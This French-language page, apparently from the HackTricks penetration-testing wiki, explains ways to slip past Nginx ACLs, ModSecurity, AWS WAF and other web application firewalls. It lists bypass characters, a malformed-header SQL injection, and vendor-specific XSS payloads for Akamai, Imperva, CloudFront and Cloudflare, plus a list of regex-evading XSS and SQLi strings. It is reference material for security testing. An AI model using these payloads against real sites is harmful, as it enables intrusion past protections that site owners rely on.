Proxy / WAF Protections Bypass

Reading time: 13 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Bypass Nginx ACL Rules with Pathname Manipulation

Techniques de cette recherche.

Exemple de rĂšgle Nginx:

plaintext
location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Pour empĂȘcher les contournements, Nginx effectue une normalisation du chemin avant de le vĂ©rifier. Cependant, si le serveur backend effectue une normalisation diffĂ©rente (supprimant des caractĂšres que Nginx ne supprime pas), il peut ĂȘtre possible de contourner cette protection.

NodeJS - Express

Nginx VersionCaractĂšres de contournement pour Node.js
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09, \x0C
1.18.0\xA0, \x09, \x0C
1.16.1\xA0, \x09, \x0C

Flask

Nginx VersionCaractĂšres de contournement pour Flask
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx VersionCaractĂšres de contournement pour Spring Boot
1.22.0;
1.21.6;
1.20.2\x09, ;
1.18.0\x09, ;
1.16.1\x09, ;

PHP-FPM

Configuration FPM de Nginx:

plaintext
location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx est configuré pour bloquer l'accÚs à /admin.php mais il est possible de contourner cela en accédant à /admin.php/index.php.

Comment prévenir

plaintext
location ~* ^/admin {
deny all;
}

Contournement des rĂšgles ModSecurity

Confusion de chemin

In this post est expliqué que ModSecurity v3 (until 3.0.12), implémentait incorrectement la variable REQUEST_FILENAME qui était censée contenir le chemin accédé (jusqu'au début des paramÚtres). Cela s'explique parce qu'il effectuait un URL decode pour obtenir le chemin.\
Ainsi, une requĂȘte comme http://example.com/foo%3f';alert(1);foo= dans mod security supposera que le chemin est juste /foo parce que %3f est transformĂ© en ? mettant fin au chemin URL, mais en rĂ©alitĂ© le chemin que le serveur recevra sera /foo%3f';alert(1);foo=.

Les variables REQUEST_BASENAME et PATH_INFO étaient également affectées par ce bug.

Quelque chose de similaire est survenu dans la version 2 de Mod Security qui permettait de contourner une protection empĂȘchant l'accĂšs aux fichiers avec des extensions spĂ©cifiques liĂ©es aux fichiers de backup (comme .bak) simplement en envoyant le point encodĂ© en URL %2e, par exemple : https://example.com/backup%2ebak.

Contournement de AWS WAF ACL

En-tĂȘte malformĂ©

This research mentionne qu'il Ă©tait possible de contourner les rĂšgles AWS WAF appliquĂ©es aux en-tĂȘtes HTTP en envoyant un en-tĂȘte "malformed" qui n'Ă©tait pas correctement parsĂ© par AWS mais qui l'Ă©tait par le serveur backend.

Par exemple, en envoyant la requĂȘte suivante avec une SQL injection dans l'en-tĂȘte X-Query:

http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

Il Ă©tait possible de contourner AWS WAF car il ne comprenait pas que la ligne suivante faisait partie de la valeur de l'en-tĂȘte alors que le serveur NODEJS le faisait (cela a Ă©tĂ© corrigĂ©).

Contournements génériques de WAF

Limites de taille des requĂȘtes

GĂ©nĂ©ralement, les WAF ont une certaine limite de longueur des requĂȘtes Ă  vĂ©rifier et si une requĂȘte POST/PUT/PATCH la dĂ©passe, le WAF ne vĂ©rifiera pas la requĂȘte.

Taille maximale d'un corps de requĂȘte web pouvant ĂȘtre inspectĂ© pour les protections Application Load Balancer et AWS AppSync8 KB
Taille maximale d'un corps de requĂȘte web pouvant ĂȘtre inspectĂ© pour les protections CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access64 KB

Les anciens Web Application Firewalls avec Core Rule Set 3.1 (ou infĂ©rieur) permettent des messages supĂ©rieurs Ă  128 KB en dĂ©sactivant l'inspection du corps de la requĂȘte, mais ces messages ne seront pas vĂ©rifiĂ©s pour des vulnĂ©rabilitĂ©s. Pour les versions plus rĂ©centes (Core Rule Set 3.2 ou plus rĂ©centes), la mĂȘme chose peut ĂȘtre faite en dĂ©sactivant la limite maximale du corps de la requĂȘte. Lorsqu'une requĂȘte dĂ©passe la limite de taille :

Si en prevention mode : Enregistre et bloque la requĂȘte.
Si en detection mode : Inspecte jusqu'à la limite, ignore le reste, et enregistre si le Content-Length dépasse la limite.

Par dĂ©faut, le WAF n'inspecte que les premiers 8KB d'une requĂȘte. Il peut augmenter la limite jusqu'Ă  128KB en ajoutant Advanced Metadata.

Jusqu'Ă  128KB.

Lacunes d'inspection des assets statiques (.js GETs)

Certaines piles CDN/WAF appliquent une inspection de contenu faible ou inexistante aux requĂȘtes GET pour les assets statiques (par exemple les chemins se terminant par .js), tout en appliquant des rĂšgles globales comme le rate limiting et l'IP reputation. CombinĂ© Ă  la mise en cache automatique des extensions statiques, cela peut ĂȘtre abusĂ© pour dĂ©livrer ou semer des variantes malveillantes qui affectent les rĂ©ponses HTML ultĂ©rieures.

Cas d'usage pratiques :

  • Envoyer des payloads dans des en-tĂȘtes non fiables (par ex., User-Agent) sur un GET vers un chemin .js pour Ă©viter l'inspection de contenu, puis demander immĂ©diatement le HTML principal pour influencer la variante mise en cache.
  • Utiliser une IP propre/fraĂźche ; une fois qu'une IP est signalĂ©e, les changements de routage peuvent rendre la technique peu fiable.
  • Dans Burp Repeater, utiliser "Send group in parallel" (style single-packet) pour lancer une course entre les deux requĂȘtes (.js puis HTML) via le mĂȘme front-end.

Cela se combine bien avec header-reflection cache poisoning. Voir :

Cache Poisoning and Cache Deception

Obfuscation

bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Compatibilité Unicode

Selon l'implĂ©mentation de la normalisation Unicode (plus d'infos here), des caractĂšres partageant la compatibilitĂ© Unicode peuvent permettre de contourner le WAF et s'exĂ©cuter comme le payload prĂ©vu. Les caractĂšres compatibles peuvent ĂȘtre trouvĂ©s here.

Exemple

bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
img src⁌p onerror⁌prompt⁜1 ïč„  --> img src=p onerror='prompt(1)'>

Bypass Contextual WAFs with encodings

Comme mentionné dans this blog post, pour contourner des WAFs capables de maintenir un contexte de la saisie utilisateur, nous pouvons abuser des techniques du WAF pour en fait normaliser la saisie de l'utilisateur.

Par exemple, dans le post il est indiquĂ© que Akamai URL decoded a user input 10 times. Ainsi quelque chose comme <input/%2525252525252525253e/onfocus sera vu par Akamai comme <input/>/onfocus ce qui pourrait ĂȘtre considĂ©rĂ© comme sĂ»r puisque la balise est fermĂ©e. Cependant, tant que l'application ne dĂ©codera pas l'URL de la saisie 10 fois, la victime verra quelque chose comme <input/%25252525252525253e/onfocus qui est toujours valide pour une attaque XSS.

Par conséquent, cela permet de cacher des payloads dans des composants encodés que le WAF décodera et interprétera tandis que la victime ne le fera pas.

De plus, cela peut ĂȘtre fait non seulement avec des payloads encodĂ©s en URL mais aussi avec d'autres encodages tels que unicode, hex, octal...

Dans le post, les contournements finaux suivants sont suggérés :

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

Il est Ă©galement mentionnĂ© que selon la maniĂšre dont certains WAFs comprennent le contexte de la saisie utilisateur, il pourrait ĂȘtre possible de l'abuser. L'exemple proposĂ© dans le blog est qu'Akamai allow(ed) de mettre n'importe quoi entre /* et */ (probablement parce que ceci est couramment utilisĂ© comme commentaire). Par consĂ©quent, une SQLinjection telle que /*'or sleep(5)-- -*/ ne sera pas dĂ©tectĂ©e et sera valide car /* est la chaĂźne de dĂ©marrage de l'injection et */ est commentĂ©e.

Ce type de problĂšmes de contexte peut Ă©galement ĂȘtre utilisĂ© pour abuser d'autres vulnĂ©rabilitĂ©s que celle attendue pour ĂȘtre exploitĂ©e par le WAF (par ex. cela pourrait aussi ĂȘtre utilisĂ© pour exploiter une XSS).

H2C Smuggling

Upgrade Header Smuggling

IP Rotation

Regex Bypasses

DiffĂ©rentes techniques peuvent ĂȘtre utilisĂ©es pour bypasser les filtres regex sur les firewalls. Les exemples incluent l'alternance de casse, l'ajout de sauts de ligne et l'encodage des payloads. Des ressources sur les diffĂ©rents contournements se trouvent sur PayloadsAllTheThings et OWASP. Les exemples ci-dessous ont Ă©tĂ© extraits de this article.

bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Outils

  • nowafpls: Plugin Burp pour ajouter des donnĂ©es inutiles aux requĂȘtes afin de contourner les WAFs en jouant sur la longueur

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks